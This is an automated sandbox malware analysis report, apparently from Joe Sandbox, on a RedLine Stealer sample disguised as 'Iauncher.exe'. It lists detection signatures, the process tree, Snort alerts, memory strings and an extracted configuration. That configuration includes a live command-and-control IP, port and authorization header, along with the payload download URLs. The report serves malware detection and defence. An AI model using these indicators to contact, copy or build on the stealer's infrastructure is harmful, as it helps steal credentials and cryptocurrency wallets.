Edit tour

Windows Analysis Report
Iauncher.exe

Overview

General Information

Sample name:	Iauncher.exe
Analysis ID:	1434866
MD5:	e69feb7fd40f408a088d879be323f37a
SHA1:	0f71fa75df6795c43c69e7ec5689c995c135079e
SHA256:	463dd34a95d86ca5d08059f1ec80d3b00d3bbabdc74936025b7e30ef2b3ee931
Tags:	exe
Infos:

Detection

RedLine

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected RedLine Stealer

.NET source code contains potential unpacker

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Injects a PE file into a foreign processes

Installs new ROOT certificates

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

Yara detected Costura Assembly Loader

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Drops certificate files (DER)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Potential key logger detected (key state polling based)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Iauncher.exe (PID: 6692 cmdline: "C:\Users\user\Desktop\Iauncher.exe" MD5: E69FEB7FD40F408A088D879BE323F37A)

Iauncher.exe (PID: 7256 cmdline: "C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe" MD5: D79977A15EB010C637CF9078B4EB82C8)

conhost.exe (PID: 7264 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 7324 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: RedLine

{"C2 url": "147.45.47.65:47232", "Bot Id": "\ueb45", "Authorization Header": "a6a58668f69a7e8a13c2ff0e52c1d284"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Iauncher.exe	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000D.00000002.1431945457.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000000.1184729227.0000000000592000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.3683105347.0000000005C10000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000000.00000002.3676644672.0000000002A11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Iauncher.exe PID: 6692	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Iauncher.exe PID: 7256	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 7324	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 7324	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author
11.2.Iauncher.exe.590030.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.0.Iauncher.exe.590000.0.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
13.2.RegAsm.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
11.2.Iauncher.exe.590030.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.Iauncher.exe.3ef1a10.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.Iauncher.exe.5c10000.10.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
11.2.Iauncher.exe.560000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 2 entries

Snort Signatures

ET MALWARE Redline Stealer TCP CnC - Id1Response - Source IP: 147.45.47.65 - Destination IP: 192.168.2.7

Timestamp:	05/01/24-20:35:54.029434
SID:	2043234
Source Port:	47232
Destination Port:	49711
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.7 - Destination IP: 147.45.47.65

Timestamp:	05/01/24-20:35:53.101816
SID:	2046045
Source Port:	49711
Destination Port:	47232
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Redline Stealer/MetaStealer Family Activity (Response) - Source IP: 147.45.47.65 - Destination IP: 192.168.2.7

Timestamp:	05/01/24-20:36:00.399690
SID:	2046056
Source Port:	47232
Destination Port:	49711
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Redline Stealer TCP CnC Activity - Source IP: 192.168.2.7 - Destination IP: 147.45.47.65

Timestamp:	05/01/24-20:36:05.641411
SID:	2043231
Source Port:	49711
Destination Port:	47232
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: RedLine {"C2 url": "147.45.47.65:47232", "Bot Id": "\ueb45", "Authorization Header": "a6a58668f69a7e8a13c2ff0e52c1d284"}

Multi AV Scanner detection for submitted file

Source: Iauncher.exe

ReversingLabs: Detection: 23%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Iauncher.exe

Joe Sandbox ML: detected

Source: Iauncher.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 193.109.246.100:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.202.98:443 -> 192.168.2.7:49710 version: TLS 1.2

Source: Iauncher.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\Ilham-PC\Documents\Visual Studio 2015\Projects\Siticone.UI\Build\Release\Siticone.UI.WinForms\Siticone.UI.pdbBSJB source: Iauncher.exe, 00000000.00000002.3678508304.0000000003A21000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3678508304.0000000003EF1000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3683105347.0000000005C10000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: costura=costura.costura.dll.compressed=costura.costura.pdb.compressed source: Iauncher.exe
Source:	Binary string: costura.costura.pdb.compressedlB source: Iauncher.exe, 00000000.00000002.3676644672.0000000002A11000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.costura.pdb.compressed source: Iauncher.exe
Source:	Binary string: costura.costura.pdb.compressed\|\|\|Costura.pdb\|6C6000A5EAF8579850AB82A89BD6268776EB51AD\|2608 source: Iauncher.exe
Source:	Binary string: C:\Users\Ilham-PC\Documents\Visual Studio 2015\Projects\Siticone.UI\Build\Release\Siticone.UI.WinForms\Siticone.UI.pdb source: Iauncher.exe, 00000000.00000002.3678508304.0000000003A21000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3678508304.0000000003EF1000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3683105347.0000000005C10000.00000004.08000000.00040000.00000000.sdmp

Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe

Code function: 11_2_0057960E FindFirstFileExW,

11_2_0057960E

Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 4x nop then lea esp, dword ptr [ebp-08h]	0_2_05D6A940
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 4x nop then lea esp, dword ptr [ebp-08h]	0_2_05DB7908
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 4x nop then lea esp, dword ptr [ebp-08h]	0_2_05DB78F8
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 4x nop then lea esp, dword ptr [ebp-08h]	0_2_05DB7A41
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 4x nop then jmp 09BFEE6Ah	0_2_09BFE858
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 4x nop then inc dword ptr [ebp-10h]	0_2_09BFE858
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 4x nop then jmp 09BF7FE1h	0_2_09BF7BA0
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 4x nop then lea esp, dword ptr [ebp-08h]	0_2_09BF8F3F
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 4x nop then lea esp, dword ptr [ebp-08h]	0_2_09BF00E8
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 4x nop then jmp 09BF279Bh	0_2_09BF2550
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 4x nop then jmp 09BF279Bh	0_2_09BF2550
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 4x nop then jmp 09BF279Bh	0_2_09BF253F
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 4x nop then jmp 09CAE48Ah	0_2_09CA9CFC
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 4x nop then jmp 09CAB589h	0_2_09CA9C54
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 4x nop then jmp 09CABCC4h	0_2_09CA9C54
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 4x nop then jmp 09CAC257h	0_2_09CA9C54
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 4x nop then jmp 09CADC32h	0_2_09CADAF0
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 4x nop then jmp 09CABCC4h	0_2_09CAB081
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 4x nop then jmp 09CAE48Ah	0_2_09CADC49
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 4x nop then jmp 09CA158Dh	0_2_09CA0040
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 4x nop then lea eax, dword ptr [ebp-000000ACh]	0_2_09CA0040
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 4x nop then lea esp, dword ptr [ebp-08h]	0_2_09CA0040
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 4x nop then jmp 09CA158Dh	0_2_09CA0021

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization) 192.168.2.7:49711 -> 147.45.47.65:47232
Source: Traffic	Snort IDS: 2043231 ET TROJAN Redline Stealer TCP CnC Activity 192.168.2.7:49711 -> 147.45.47.65:47232
Source: Traffic	Snort IDS: 2043234 ET MALWARE Redline Stealer TCP CnC - Id1Response 147.45.47.65:47232 -> 192.168.2.7:49711
Source: Traffic	Snort IDS: 2046056 ET TROJAN Redline Stealer/MetaStealer Family Activity (Response) 147.45.47.65:47232 -> 192.168.2.7:49711

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 147.45.47.65:47232

Yara detected Generic Downloader

Source: Yara match	File source: 0.2.Iauncher.exe.3ef1a10.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Iauncher.exe.5c10000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.3683105347.0000000005C10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Source: global traffic

TCP traffic: 192.168.2.7:49711 -> 147.45.47.65:47232

Source: global traffic	HTTP traffic detected: GET /STLprograms/NEW/z-Closing.txt HTTP/1.1Host: antiloxss.usite.proConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /STLprograms/NEW/hwid.txt HTTP/1.1Host: antiloxss.usite.pro
Source: global traffic	HTTP traffic detected: GET /STLprograms/NEW/LM19AR/hwids.txt HTTP/1.1Host: antiloxss.usite.pro
Source: global traffic	HTTP traffic detected: GET /STLprograms/NEW/LM19AR/Gitgo2/BuildLink.txt HTTP/1.1Host: antiloxss.usite.pro
Source: global traffic	HTTP traffic detected: GET /STLprograms/NEW/LM19AR/Gitgo2/BuildName.txt HTTP/1.1Host: antiloxss.usite.pro
Source: global traffic	HTTP traffic detected: GET /STLprograms/NEW/LM19AR/Gitgo2/BuildZipName.txt HTTP/1.1Host: antiloxss.usite.pro
Source: global traffic	HTTP traffic detected: GET /Iauncher.zip HTTP/1.1Host: gitgo.orgConnection: Keep-Alive

Source: Joe Sandbox View

ASN Name: FREE-NET-ASFREEnetEU FREE-NET-ASFREEnetEU

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.65
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /STLprograms/NEW/z-Closing.txt HTTP/1.1Host: antiloxss.usite.proConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /STLprograms/NEW/hwid.txt HTTP/1.1Host: antiloxss.usite.pro
Source: global traffic	HTTP traffic detected: GET /STLprograms/NEW/LM19AR/hwids.txt HTTP/1.1Host: antiloxss.usite.pro
Source: global traffic	HTTP traffic detected: GET /STLprograms/NEW/LM19AR/Gitgo2/BuildLink.txt HTTP/1.1Host: antiloxss.usite.pro
Source: global traffic	HTTP traffic detected: GET /STLprograms/NEW/LM19AR/Gitgo2/BuildName.txt HTTP/1.1Host: antiloxss.usite.pro
Source: global traffic	HTTP traffic detected: GET /STLprograms/NEW/LM19AR/Gitgo2/BuildZipName.txt HTTP/1.1Host: antiloxss.usite.pro
Source: global traffic	HTTP traffic detected: GET /Iauncher.zip HTTP/1.1Host: gitgo.orgConnection: Keep-Alive

Source: Iauncher.exe, 00000000.00000002.3682596392.00000000055B3000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: CLIENT_VERSIONthttp://gdata.youtube.com/feeds/api/videos/{0}?v=2&alt=jsonDFailed to get youtube video data: Lhttp://vimeo.com/api/v2/video/{0}.json@Failed to get vimeo video data: ork Manager. LICENSE MODULE The license module enables you to work without interruptions. Issues with the module can be caused by: (i) Framework Manager is not installed (ii) HDD formatting (iii) OS reintallation, (iv) Siticone Files Deletion, or (v) Any other issues. For assistance, please contact our support centre at: support@siticoneframework.comPMissing Manager or the Module is corrupt4Download Framework Manager4Contact Our Support CentreHmailto:support@siticoneframework.comDhttps://www.siticoneframework.com/ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: antiloxss.usite.pro
Source: global traffic	DNS traffic detected: DNS query: google.com
Source: global traffic	DNS traffic detected: DNS query: gitgo.org

Source: Iauncher.exe, 00000000.00000002.3676644672.0000000002BB2000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3676644672.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://antiloxss.usite.pro
Source: Iauncher.exe, 00000000.00000002.3676644672.0000000002BB2000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3676644672.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://antiloxss.usite.prod
Source: Iauncher.exe, 00000000.00000002.3678508304.0000000003A21000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3678508304.0000000003EF1000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3683105347.0000000005C10000.00000004.08000000.00040000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3676644672.0000000002A11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
Source: Iauncher.exe, 00000000.00000002.3678508304.0000000003A21000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3674975399.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3678508304.0000000003EF1000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3683105347.0000000005C10000.00000004.08000000.00040000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3676644672.0000000002A11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: Iauncher.exe, 00000000.00000002.3678508304.0000000003A21000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3678508304.0000000003EF1000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3683105347.0000000005C10000.00000004.08000000.00040000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3676644672.0000000002A11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: Iauncher.exe, 00000000.00000002.3678508304.0000000003A21000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3674975399.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3678508304.0000000003EF1000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3683105347.0000000005C10000.00000004.08000000.00040000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3676644672.0000000002A11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: Iauncher.exe, 00000000.00000002.3678508304.0000000003A21000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3678508304.0000000003EF1000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3683105347.0000000005C10000.00000004.08000000.00040000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3676644672.0000000002A11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: Iauncher.exe, 00000000.00000002.3678508304.0000000003A21000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3674975399.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3678508304.0000000003EF1000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3683105347.0000000005C10000.00000004.08000000.00040000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3676644672.0000000002A11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: Iauncher.exe, 00000000.00000002.3676644672.0000000002ACA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://gdata.youtube.com/feeds/api/videos/
Source: Iauncher.exe, 00000000.00000002.3676644672.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://gitgo.org
Source: Iauncher.exe, 00000000.00000002.3676644672.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://gitgo.orgd
Source: RegAsm.exe, 0000000D.00000002.1436552204.0000000000C1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.adp/1.0/
Source: RegAsm.exe, 0000000D.00000002.1436552204.0000000000C1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.microsofo/1.2/
Source: Iauncher.exe, 00000000.00000002.3678508304.0000000003A21000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3678508304.0000000003EF1000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3683105347.0000000005C10000.00000004.08000000.00040000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3676644672.0000000002A11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
